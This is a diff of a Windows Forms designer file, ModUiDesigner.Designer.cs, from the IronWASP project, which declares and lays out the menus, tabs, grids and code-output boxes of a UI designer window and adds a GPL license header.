this.PyOutRTB.ReadOnly = true; - this.PyOutRTB.Size = new System.Drawing.Size(868, 486); - this.PyOutRTB.TabIndex = 1; - this.PyOutRTB.Text = ""; - // - // RubyCodeTab - // - this.RubyCodeTab.Controls.Add(this.RbOutRTB); - this.RubyCodeTab.Location = new System.Drawing.Point(4, 22); - this.RubyCodeTab.Margin = new System.Windows.Forms.Padding(0); - this.RubyCodeTab.Name = "RubyCodeTab"; - this.RubyCodeTab.Size = new System.Drawing.Size(868, 486); - this.RubyCodeTab.TabIndex = 2; - this.RubyCodeTab.Text = "Ruby"; - this.RubyCodeTab.UseVisualStyleBackColor = true; - // - // RbOutRTB - // - this.RbOutRTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.RbOutRTB.Dock = System.Windows.Forms.DockStyle.Fill; - this.RbOutRTB.Location = new System.Drawing.Point(0, 0); - this.RbOutRTB.Margin = new System.Windows.Forms.Padding(0); - this.RbOutRTB.Name = "RbOutRTB"; - this.RbOutRTB.ReadOnly = true; - this.RbOutRTB.Size = new System.Drawing.Size(868, 486); - this.RbOutRTB.TabIndex = 1; - this.RbOutRTB.Text = ""; - // - // ModUiDesigner - // - this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(884, 562); - this.Controls.Add(this.MainTabs); - this.Controls.Add(this.TopMenu); - this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); - this.MainMenuStrip = this.TopMenu; - this.Name = "ModUiDesigner"; - this.Text = "UI Designer"; - this.TopMenu.ResumeLayout(false); - this.TopMenu.PerformLayout(); - this.MainTabs.ResumeLayout(false); - this.DesignTab.ResumeLayout(false); - this.BaseSplit.Panel1.ResumeLayout(false); - this.BaseSplit.ResumeLayout(false); - this.LeftTabs.ResumeLayout(false); - this.PropertiesTab.ResumeLayout(false); - this.PropertiesSubTabs.ResumeLayout(false); - this.PropertiesPropertySubTab.ResumeLayout(false); - this.DataGridColumnAddPanel.ResumeLayout(false); - this.DataGridColumnAddPanel.PerformLayout(); - this.PropertiesEventHandlerSubTab.ResumeLayout(false); - ((System.ComponentModel.ISupportInitialize)(this.EventHandlersGrid)).EndInit(); - this.CodeTab.ResumeLayout(false); - this.CodeTabs.ResumeLayout(false); - this.XmlCodeTab.ResumeLayout(false); - this.PythonCodeTab.ResumeLayout(false); - this.RubyCodeTab.ResumeLayout(false); - this.ResumeLayout(false); - this.PerformLayout(); - - } - - #endregion - - private System.Windows.Forms.MenuStrip TopMenu; - private System.Windows.Forms.ToolStripMenuItem ProjectToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem NewDesignToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem LoadDesignFromXMLToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem GenerateCodeToolStripMenuItem; - private System.Windows.Forms.TabControl MainTabs; - private System.Windows.Forms.TabPage DesignTab; - private System.Windows.Forms.TabPage CodeTab; - private System.Windows.Forms.TabControl CodeTabs; - private System.Windows.Forms.TabPage XmlCodeTab; - private System.Windows.Forms.TabPage PythonCodeTab; - private System.Windows.Forms.TabPage RubyCodeTab; - private System.Windows.Forms.SplitContainer BaseSplit; - private System.Windows.Forms.TabPage ToolboxTab; - private System.Windows.Forms.TabPage PropertiesTab; - private System.Windows.Forms.TabControl PropertiesSubTabs; - private System.Windows.Forms.TabPage PropertiesEventHandlerSubTab; - internal System.Windows.Forms.TabControl LeftTabs; - private System.Windows.Forms.ToolStripMenuItem EditToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem DeleteToolStripMenuItem; - private System.Windows.Forms.RichTextBox XmlOutRTB; - private System.Windows.Forms.RichTextBox PyOutRTB; - private System.Windows.Forms.RichTextBox RbOutRTB; - private System.Windows.Forms.DataGridViewTextBoxColumn EventName; - private System.Windows.Forms.DataGridViewTextBoxColumn EventHandler; - internal System.Windows.Forms.DataGridView EventHandlersGrid; - internal System.Windows.Forms.TabPage PropertiesPropertySubTab; - internal System.Windows.Forms.Panel DataGridColumnAddPanel; - private System.Windows.Forms.Button DataGridColumnAddBtn; - private System.Windows.Forms.Label label1; - private System.Windows.Forms.TextBox DataGridColumnNameAddTB; - private System.Windows.Forms.Label label3; - private System.Windows.Forms.RadioButton DataGridColumnAddTBRB; - private System.Windows.Forms.RadioButton DataGridColumnAddCBRB; - private System.Windows.Forms.Label label2; - private System.Windows.Forms.TextBox DataGridColumnAddMsgTB; - } +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +namespace IronWASP +{ + partial class ModUiDesigner + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(ModUiDesigner)); + this.TopMenu = new System.Windows.Forms.MenuStrip(); + this.ProjectToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.NewDesignToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.LoadDesignFromXMLToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.EditToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.DeleteToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.GenerateCodeToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.MainTabs = new System.Windows.Forms.TabControl(); + this.DesignTab = new System.Windows.Forms.TabPage(); + this.BaseSplit = new System.Windows.Forms.SplitContainer(); + this.LeftTabs = new System.Windows.Forms.TabControl(); + this.ToolboxTab = new System.Windows.Forms.TabPage(); + this.PropertiesTab = new System.Windows.Forms.TabPage(); + this.PropertiesSubTabs = new System.Windows.Forms.TabControl(); + this.PropertiesPropertySubTab = new System.Windows.Forms.TabPage(); + this.DataGridColumnAddPanel = new System.Windows.Forms.Panel(); + this.DataGridColumnAddMsgTB = new System.Windows.Forms.TextBox(); + this.label3 = new System.Windows.Forms.Label(); + this.DataGridColumnAddTBRB = new System.Windows.Forms.RadioButton(); + this.DataGridColumnAddCBRB = new System.Windows.Forms.RadioButton(); + this.label2 = new System.Windows.Forms.Label(); + this.DataGridColumnNameAddTB = new System.Windows.Forms.TextBox(); + this.label1 = new System.Windows.Forms.Label(); + this.DataGridColumnAddBtn = new System.Windows.Forms.Button(); + this.PropertiesEventHandlerSubTab = new System.Windows.Forms.TabPage(); + this.EventHandlersGrid = new System.Windows.Forms.DataGridView(); + this.EventName = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.EventHandler = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.CodeTab = new System.Windows.Forms.TabPage(); + this.CodeTabs = new System.Windows.Forms.TabControl(); + this.XmlCodeTab = new System.Windows.Forms.TabPage(); + this.XmlOutRTB = new System.Windows.Forms.RichTextBox(); + this.PythonCodeTab = new System.Windows.Forms.TabPage(); + this.PyOutRTB = new System.Windows.Forms.RichTextBox(); + this.RubyCodeTab = new System.Windows.Forms.TabPage(); + this.RbOutRTB = new System.Windows.Forms.RichTextBox(); + this.TopMenu.SuspendLayout(); + this.MainTabs.SuspendLayout(); + this.DesignTab.SuspendLayout(); + this.BaseSplit.Panel1.SuspendLayout(); + this.BaseSplit.SuspendLayout(); + this.LeftTabs.SuspendLayout(); + this.PropertiesTab.SuspendLayout(); + this.PropertiesSubTabs.SuspendLayout(); + this.PropertiesPropertySubTab.SuspendLayout(); + this.DataGridColumnAddPanel.SuspendLayout(); + this.PropertiesEventHandlerSubTab.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.EventHandlersGrid)).BeginInit(); + this.CodeTab.SuspendLayout(); + this.CodeTabs.SuspendLayout(); + this.XmlCodeTab.SuspendLayout(); + this.PythonCodeTab.SuspendLayout(); + this.RubyCodeTab.SuspendLayout(); + this.SuspendLayout(); + // + // TopMenu + // + this.TopMenu.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.ProjectToolStripMenuItem, + this.EditToolStripMenuItem, + this.GenerateCodeToolStripMenuItem}); + this.TopMenu.Location = new System.Drawing.Point(0, 0); + this.TopMenu.Name = "TopMenu"; + this.TopMenu.Size = new System.Drawing.Size(884, 24); + this.TopMenu.TabIndex = 0; + this.TopMenu.Text = "menuStrip1"; + // + // ProjectToolStripMenuItem + // + this.ProjectToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.NewDesignToolStripMenuItem, + this.LoadDesignFromXMLToolStripMenuItem}); + this.ProjectToolStripMenuItem.Name = "ProjectToolStripMenuItem"; + this.ProjectToolStripMenuItem.Size = new System.Drawing.Size(56, 20); + this.ProjectToolStripMenuItem.Text = "Project"; + // + // NewDesignToolStripMenuItem + // + this.NewDesignToolStripMenuItem.Name = "NewDesignToolStripMenuItem"; + this.NewDesignToolStripMenuItem.Size = new System.Drawing.Size(195, 22); + this.NewDesignToolStripMenuItem.Text = "New Design"; + this.NewDesignToolStripMenuItem.Click += new System.EventHandler(this.NewDesignToolStripMenuItem_Click); + // + // LoadDesignFromXMLToolStripMenuItem + // + this.LoadDesignFromXMLToolStripMenuItem.Name = "LoadDesignFromXMLToolStripMenuItem"; + this.LoadDesignFromXMLToolStripMenuItem.Size = new System.Drawing.Size(195, 22); + this.LoadDesignFromXMLToolStripMenuItem.Text = "Load Design from XML"; + this.LoadDesignFromXMLToolStripMenuItem.Click += new System.EventHandler(this.LoadDesignFromXMLToolStripMenuItem_Click); + // + // EditToolStripMenuItem + // + this.EditToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.DeleteToolStripMenuItem}); + this.EditToolStripMenuItem.Name = "EditToolStripMenuItem"; + this.EditToolStripMenuItem.Size = new System.Drawing.Size(39, 20); + this.EditToolStripMenuItem.Text = "Edit"; + // + // DeleteToolStripMenuItem + // + this.DeleteToolStripMenuItem.Name = "DeleteToolStripMenuItem"; + this.DeleteToolStripMenuItem.Size = new System.Drawing.Size(210, 22); + this.DeleteToolStripMenuItem.Text = "Delete Selected Control(s)"; + this.DeleteToolStripMenuItem.Click += new System.EventHandler(this.DeleteToolStripMenuItem_Click); + // + // GenerateCodeToolStripMenuItem + // + this.GenerateCodeToolStripMenuItem.Name = "GenerateCodeToolStripMenuItem"; + this.GenerateCodeToolStripMenuItem.Size = new System.Drawing.Size(97, 20); + this.GenerateCodeToolStripMenuItem.Text = "Generate Code"; + this.GenerateCodeToolStripMenuItem.Click += new System.EventHandler(this.GenerateCodeToolStripMenuItem_Click); + // + // MainTabs + // + this.MainTabs.Controls.Add(this.DesignTab); + this.MainTabs.Controls.Add(this.CodeTab); + this.MainTabs.Dock = System.Windows.Forms.DockStyle.Fill; + this.MainTabs.Location = new System.Drawing.Point(0, 24); + this.MainTabs.Margin = new System.Windows.Forms.Padding(0); + this.MainTabs.Name = "MainTabs"; + this.MainTabs.Padding = new System.Drawing.Point(0, 0); + this.MainTabs.SelectedIndex = 0; + this.MainTabs.Size = new System.Drawing.Size(884, 538); + this.MainTabs.TabIndex = 1; + // + // DesignTab + // + this.DesignTab.Controls.Add(this.BaseSplit); + this.DesignTab.Location = new System.Drawing.Point(4, 22); + this.DesignTab.Margin = new System.Windows.Forms.Padding(0); + this.DesignTab.Name = "DesignTab"; + this.DesignTab.Size = new System.Drawing.Size(876, 512); + this.DesignTab.TabIndex = 0; + this.DesignTab.Text = "Design"; + this.DesignTab.UseVisualStyleBackColor = true; + // + // BaseSplit + // + this.BaseSplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.BaseSplit.Location = new System.Drawing.Point(0, 0); + this.BaseSplit.Margin = new System.Windows.Forms.Padding(0); + this.BaseSplit.Name = "BaseSplit"; + // + // BaseSplit.Panel1 + // + this.BaseSplit.Panel1.Controls.Add(this.LeftTabs); + // + // BaseSplit.Panel2 + // + this.BaseSplit.Panel2.BackColor = System.Drawing.Color.White; + this.BaseSplit.Size = new System.Drawing.Size(876, 512); + this.BaseSplit.SplitterDistance = 179; + this.BaseSplit.TabIndex = 0; + // + // LeftTabs + // + this.LeftTabs.Alignment = System.Windows.Forms.TabAlignment.Left; + this.LeftTabs.Controls.Add(this.ToolboxTab); + this.LeftTabs.Controls.Add(this.PropertiesTab); + this.LeftTabs.Dock = System.Windows.Forms.DockStyle.Fill; + this.LeftTabs.Location = new System.Drawing.Point(0, 0); + this.LeftTabs.Margin = new System.Windows.Forms.Padding(0); + this.LeftTabs.Multiline = true; + this.LeftTabs.Name = "LeftTabs"; + this.LeftTabs.Padding = new System.Drawing.Point(0, 0); + this.LeftTabs.RightToLeft = System.Windows.Forms.RightToLeft.No; + this.LeftTabs.SelectedIndex = 0; + this.LeftTabs.Size = new System.Drawing.Size(179, 512); + this.LeftTabs.TabIndex = 0; + // + // ToolboxTab + // + this.ToolboxTab.Location = new System.Drawing.Point(23, 4); + this.ToolboxTab.Margin = new System.Windows.Forms.Padding(0); + this.ToolboxTab.Name = "ToolboxTab"; + this.ToolboxTab.Size = new System.Drawing.Size(152, 504); + this.ToolboxTab.TabIndex = 0; + this.ToolboxTab.Text = "Toolbox"; + this.ToolboxTab.UseVisualStyleBackColor = true; + // + // PropertiesTab + // + this.PropertiesTab.Controls.Add(this.PropertiesSubTabs); + this.PropertiesTab.Location = new System.Drawing.Point(23, 4); + this.PropertiesTab.Margin = new System.Windows.Forms.Padding(0); + this.PropertiesTab.Name = "PropertiesTab"; + this.PropertiesTab.Size = new System.Drawing.Size(152, 504); + this.PropertiesTab.TabIndex = 1; + this.PropertiesTab.Text = "Properties"; + this.PropertiesTab.UseVisualStyleBackColor = true; + // + // PropertiesSubTabs + // + this.PropertiesSubTabs.Controls.Add(this.PropertiesPropertySubTab); + this.PropertiesSubTabs.Controls.Add(this.PropertiesEventHandlerSubTab); + this.PropertiesSubTabs.Dock = System.Windows.Forms.DockStyle.Fill; + this.PropertiesSubTabs.Location = new System.Drawing.Point(0, 0); + this.PropertiesSubTabs.Margin = new System.Windows.Forms.Padding(0); + this.PropertiesSubTabs.Name = "PropertiesSubTabs"; + this.PropertiesSubTabs.Padding = new System.Drawing.Point(0, 0); + this.PropertiesSubTabs.SelectedIndex = 0; + this.PropertiesSubTabs.Size = new System.Drawing.Size(152, 504); + this.PropertiesSubTabs.TabIndex = 0; + // + // PropertiesPropertySubTab + // + this.PropertiesPropertySubTab.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.PropertiesPropertySubTab.Controls.Add(this.DataGridColumnAddPanel); + this.PropertiesPropertySubTab.Location = new System.Drawing.Point(4, 22); + this.PropertiesPropertySubTab.Margin = new System.Windows.Forms.Padding(0); + this.PropertiesPropertySubTab.Name = "PropertiesPropertySubTab"; + this.PropertiesPropertySubTab.Size = new System.Drawing.Size(144, 478); + this.PropertiesPropertySubTab.TabIndex = 0; + this.PropertiesPropertySubTab.Text = "Properties"; + this.PropertiesPropertySubTab.UseVisualStyleBackColor = true; + // + // DataGridColumnAddPanel + // + this.DataGridColumnAddPanel.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.DataGridColumnAddPanel.Controls.Add(this.DataGridColumnAddMsgTB); + this.DataGridColumnAddPanel.Controls.Add(this.label3); + this.DataGridColumnAddPanel.Controls.Add(this.DataGridColumnAddTBRB); + this.DataGridColumnAddPanel.Controls.Add(this.DataGridColumnAddCBRB); + this.DataGridColumnAddPanel.Controls.Add(this.label2); + this.DataGridColumnAddPanel.Controls.Add(this.DataGridColumnNameAddTB); + this.DataGridColumnAddPanel.Controls.Add(this.label1); + this.DataGridColumnAddPanel.Controls.Add(this.DataGridColumnAddBtn); + this.DataGridColumnAddPanel.Location = new System.Drawing.Point(3, 315); + this.DataGridColumnAddPanel.Name = "DataGridColumnAddPanel"; + this.DataGridColumnAddPanel.Size = new System.Drawing.Size(136, 158); + this.DataGridColumnAddPanel.TabIndex = 0; + this.DataGridColumnAddPanel.Visible = false; + // + // DataGridColumnAddMsgTB + // + this.DataGridColumnAddMsgTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.DataGridColumnAddMsgTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.DataGridColumnAddMsgTB.Location = new System.Drawing.Point(3, 99); + this.DataGridColumnAddMsgTB.Multiline = true; + this.DataGridColumnAddMsgTB.Name = "DataGridColumnAddMsgTB"; + this.DataGridColumnAddMsgTB.Size = new System.Drawing.Size(130, 27); + this.DataGridColumnAddMsgTB.TabIndex = 0; + // + // label3 + // + this.label3.AutoSize = true; + this.label3.Location = new System.Drawing.Point(5, 6); + this.label3.Name = "label3"; + this.label3.Size = new System.Drawing.Size(130, 13); + this.label3.TabIndex = 2; + this.label3.Text = "Enter Grid Column Details:"; + // + // DataGridColumnAddTBRB + // + this.DataGridColumnAddTBRB.AutoSize = true; + this.DataGridColumnAddTBRB.Checked = true; + this.DataGridColumnAddTBRB.Location = new System.Drawing.Point(46, 53); + this.DataGridColumnAddTBRB.Name = "DataGridColumnAddTBRB"; + this.DataGridColumnAddTBRB.Size = new System.Drawing.Size(64, 17); + this.DataGridColumnAddTBRB.TabIndex = 0; + this.DataGridColumnAddTBRB.TabStop = true; + this.DataGridColumnAddTBRB.Text = "TextBox"; + this.DataGridColumnAddTBRB.UseVisualStyleBackColor = true; + // + // DataGridColumnAddCBRB + // + this.DataGridColumnAddCBRB.AutoSize = true; + this.DataGridColumnAddCBRB.Location = new System.Drawing.Point(46, 76); + this.DataGridColumnAddCBRB.Name = "DataGridColumnAddCBRB"; + this.DataGridColumnAddCBRB.Size = new System.Drawing.Size(74, 17); + this.DataGridColumnAddCBRB.TabIndex = 1; + this.DataGridColumnAddCBRB.Text = "CheckBox"; + this.DataGridColumnAddCBRB.UseVisualStyleBackColor = true; + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(6, 54); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(34, 13); + this.label2.TabIndex = 0; + this.label2.Text = "Type:"; + // + // DataGridColumnNameAddTB + // + this.DataGridColumnNameAddTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.DataGridColumnNameAddTB.Location = new System.Drawing.Point(46, 27); + this.DataGridColumnNameAddTB.Name = "DataGridColumnNameAddTB"; + this.DataGridColumnNameAddTB.Size = new System.Drawing.Size(87, 20); + this.DataGridColumnNameAddTB.TabIndex = 0; + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(6, 30); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(38, 13); + this.label1.TabIndex = 0; + this.label1.Text = "Name:"; + // + // DataGridColumnAddBtn + // + this.DataGridColumnAddBtn.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.DataGridColumnAddBtn.Location = new System.Drawing.Point(3, 132); + this.DataGridColumnAddBtn.Name = "DataGridColumnAddBtn"; + this.DataGridColumnAddBtn.Size = new System.Drawing.Size(130, 23); + this.DataGridColumnAddBtn.TabIndex = 0; + this.DataGridColumnAddBtn.Text = "Add Column to Grid"; + this.DataGridColumnAddBtn.UseVisualStyleBackColor = true; + this.DataGridColumnAddBtn.Click += new System.EventHandler(this.DataGridColumnAddBtn_Click); + // + // PropertiesEventHandlerSubTab + // + this.PropertiesEventHandlerSubTab.Controls.Add(this.EventHandlersGrid); + this.PropertiesEventHandlerSubTab.Location = new System.Drawing.Point(4, 22); + this.PropertiesEventHandlerSubTab.Margin = new System.Windows.Forms.Padding(0); + this.PropertiesEventHandlerSubTab.Name = "PropertiesEventHandlerSubTab"; + this.PropertiesEventHandlerSubTab.Size = new System.Drawing.Size(144, 478); + this.PropertiesEventHandlerSubTab.TabIndex = 1; + this.PropertiesEventHandlerSubTab.Text = "Event Handlers"; + this.PropertiesEventHandlerSubTab.UseVisualStyleBackColor = true; + // + // EventHandlersGrid + // + this.EventHandlersGrid.AllowUserToAddRows = false; + this.EventHandlersGrid.AllowUserToDeleteRows = false; + this.EventHandlersGrid.AllowUserToResizeRows = false; + this.EventHandlersGrid.BackgroundColor = System.Drawing.Color.White; + this.EventHandlersGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.EventHandlersGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.EventHandlersGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.EventName, + this.EventHandler}); + this.EventHandlersGrid.Dock = System.Windows.Forms.DockStyle.Fill; + this.EventHandlersGrid.Location = new System.Drawing.Point(0, 0); + this.EventHandlersGrid.Margin = new System.Windows.Forms.Padding(0); + this.EventHandlersGrid.Name = "EventHandlersGrid"; + this.EventHandlersGrid.RowHeadersVisible = false; + this.EventHandlersGrid.Size = new System.Drawing.Size(144, 478); + this.EventHandlersGrid.TabIndex = 0; + this.EventHandlersGrid.CellValueChanged += new System.Windows.Forms.DataGridViewCellEventHandler(this.EventHandlersGrid_CellValueChanged); + // + // EventName + // + this.EventName.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.EventName.FillWeight = 75F; + this.EventName.HeaderText = "Event"; + this.EventName.Name = "EventName"; + this.EventName.ReadOnly = true; + // + // EventHandler + // + this.EventHandler.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.EventHandler.HeaderText = "EventHandler Method"; + this.EventHandler.Name = "EventHandler"; + // + // CodeTab + // + this.CodeTab.Controls.Add(this.CodeTabs); + this.CodeTab.Location = new System.Drawing.Point(4, 22); + this.CodeTab.Margin = new System.Windows.Forms.Padding(0); + this.CodeTab.Name = "CodeTab"; + this.CodeTab.Size = new System.Drawing.Size(876, 512); + this.CodeTab.TabIndex = 1; + this.CodeTab.Text = "Code"; + this.CodeTab.UseVisualStyleBackColor = true; + // + // CodeTabs + // + this.CodeTabs.Controls.Add(this.XmlCodeTab); + this.CodeTabs.Controls.Add(this.PythonCodeTab); + this.CodeTabs.Controls.Add(this.RubyCodeTab); + this.CodeTabs.Dock = System.Windows.Forms.DockStyle.Fill; + this.CodeTabs.Location = new System.Drawing.Point(0, 0); + this.CodeTabs.Margin = new System.Windows.Forms.Padding(0); + this.CodeTabs.Name = "CodeTabs"; + this.CodeTabs.Padding = new System.Drawing.Point(0, 0); + this.CodeTabs.SelectedIndex = 0; + this.CodeTabs.Size = new System.Drawing.Size(876, 512); + this.CodeTabs.TabIndex = 0; + // + // XmlCodeTab + // + this.XmlCodeTab.Controls.Add(this.XmlOutRTB); + this.XmlCodeTab.Location = new System.Drawing.Point(4, 22); + this.XmlCodeTab.Margin = new System.Windows.Forms.Padding(0); + this.XmlCodeTab.Name = "XmlCodeTab"; + this.XmlCodeTab.Size = new System.Drawing.Size(868, 486); + this.XmlCodeTab.TabIndex = 0; + this.XmlCodeTab.Text = "XML"; + this.XmlCodeTab.UseVisualStyleBackColor = true; + // + // XmlOutRTB + // + this.XmlOutRTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.XmlOutRTB.Dock = System.Windows.Forms.DockStyle.Fill; + this.XmlOutRTB.Location = new System.Drawing.Point(0, 0); + this.XmlOutRTB.Margin = new System.Windows.Forms.Padding(0); + this.XmlOutRTB.Name = "XmlOutRTB"; + this.XmlOutRTB.ReadOnly = true; + this.XmlOutRTB.Size = new System.Drawing.Size(868, 486); + this.XmlOutRTB.TabIndex = 0; + this.XmlOutRTB.Text = ""; + // + // PythonCodeTab + // + this.PythonCodeTab.Controls.Add(this.PyOutRTB); + this.PythonCodeTab.Location = new System.Drawing.Point(4, 22); + this.PythonCodeTab.Margin = new System.Windows.Forms.Padding(0); + this.PythonCodeTab.Name = "PythonCodeTab"; + this.PythonCodeTab.Size = new System.Drawing.Size(868, 486); + this.PythonCodeTab.TabIndex = 1; + this.PythonCodeTab.Text = "Python"; + this.PythonCodeTab.UseVisualStyleBackColor = true; + // + // PyOutRTB + // + this.PyOutRTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.PyOutRTB.Dock = System.Windows.Forms.DockStyle.Fill; + this.PyOutRTB.Location = new System.Drawing.Point(0, 0); + this.PyOutRTB.Margin = new System.Windows.Forms.Padding(0); + this.PyOutRTB.Name = "PyOutRTB"; + this.PyOutRTB.ReadOnly = true; + this.PyOutRTB.Size = new System.Drawing.Size(868, 486); + this.PyOutRTB.TabIndex = 1; + this.PyOutRTB.Text = ""; + // + // RubyCodeTab + // + this.RubyCodeTab.Controls.Add(this.RbOutRTB); + this.RubyCodeTab.Location = new System.Drawing.Point(4, 22); + this.RubyCodeTab.Margin = new System.Windows.Forms.Padding(0); + this.RubyCodeTab.Name = "RubyCodeTab"; + this.RubyCodeTab.Size = new System.Drawing.Size(868, 486); + this.RubyCodeTab.TabIndex = 2; + this.RubyCodeTab.Text = "Ruby"; + this.RubyCodeTab.UseVisualStyleBackColor = true; + // + // RbOutRTB + // + this.RbOutRTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.RbOutRTB.Dock = System.Windows.Forms.DockStyle.Fill; + this.RbOutRTB.Location = new System.Drawing.Point(0, 0); + this.RbOutRTB.Margin = new System.Windows.Forms.Padding(0); + this.RbOutRTB.Name = "RbOutRTB"; + this.RbOutRTB.ReadOnly = true; + this.RbOutRTB.Size = new System.Drawing.Size(868, 486); + this.RbOutRTB.TabIndex = 1; + this.RbOutRTB.Text = ""; + // + // ModUiDesigner + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(884, 562); + this.Controls.Add(this.MainTabs); + this.Controls.Add(this.TopMenu); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.MainMenuStrip = this.TopMenu; + this.Name = "ModUiDesigner"; + this.Text = "UI Designer"; + this.TopMenu.ResumeLayout(false); + this.TopMenu.PerformLayout(); + this.MainTabs.ResumeLayout(false); + this.DesignTab.ResumeLayout(false); + this.BaseSplit.Panel1.ResumeLayout(false); + this.BaseSplit.ResumeLayout(false); + this.LeftTabs.ResumeLayout(false); + this.PropertiesTab.ResumeLayout(false); + this.PropertiesSubTabs.ResumeLayout(false); + this.PropertiesPropertySubTab.ResumeLayout(false); + this.DataGridColumnAddPanel.ResumeLayout(false); + this.DataGridColumnAddPanel.PerformLayout(); + this.PropertiesEventHandlerSubTab.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.EventHandlersGrid)).EndInit(); + this.CodeTab.ResumeLayout(false); + this.CodeTabs.ResumeLayout(false); + this.XmlCodeTab.ResumeLayout(false); + this.PythonCodeTab.ResumeLayout(false); + this.RubyCodeTab.ResumeLayout(false); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.MenuStrip TopMenu; + private System.Windows.Forms.ToolStripMenuItem ProjectToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem NewDesignToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem LoadDesignFromXMLToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem GenerateCodeToolStripMenuItem; + private System.Windows.Forms.TabControl MainTabs; + private System.Windows.Forms.TabPage DesignTab; + private System.Windows.Forms.TabPage CodeTab; + private System.Windows.Forms.TabControl CodeTabs; + private System.Windows.Forms.TabPage XmlCodeTab; + private System.Windows.Forms.TabPage PythonCodeTab; + private System.Windows.Forms.TabPage RubyCodeTab; + private System.Windows.Forms.SplitContainer BaseSplit; + private System.Windows.Forms.TabPage ToolboxTab; + private System.Windows.Forms.TabPage PropertiesTab; + private System.Windows.Forms.TabControl PropertiesSubTabs; + private System.Windows.Forms.TabPage PropertiesEventHandlerSubTab; + internal System.Windows.Forms.TabControl LeftTabs; + private System.Windows.Forms.ToolStripMenuItem EditToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem DeleteToolStripMenuItem; + private System.Windows.Forms.RichTextBox XmlOutRTB; + private System.Windows.Forms.RichTextBox PyOutRTB; + private System.Windows.Forms.RichTextBox RbOutRTB; + private System.Windows.Forms.DataGridViewTextBoxColumn EventName; + private System.Windows.Forms.DataGridViewTextBoxColumn EventHandler; + internal System.Windows.Forms.DataGridView EventHandlersGrid; + internal System.Windows.Forms.TabPage PropertiesPropertySubTab; + internal System.Windows.Forms.Panel DataGridColumnAddPanel; + private System.Windows.Forms.Button DataGridColumnAddBtn; + private 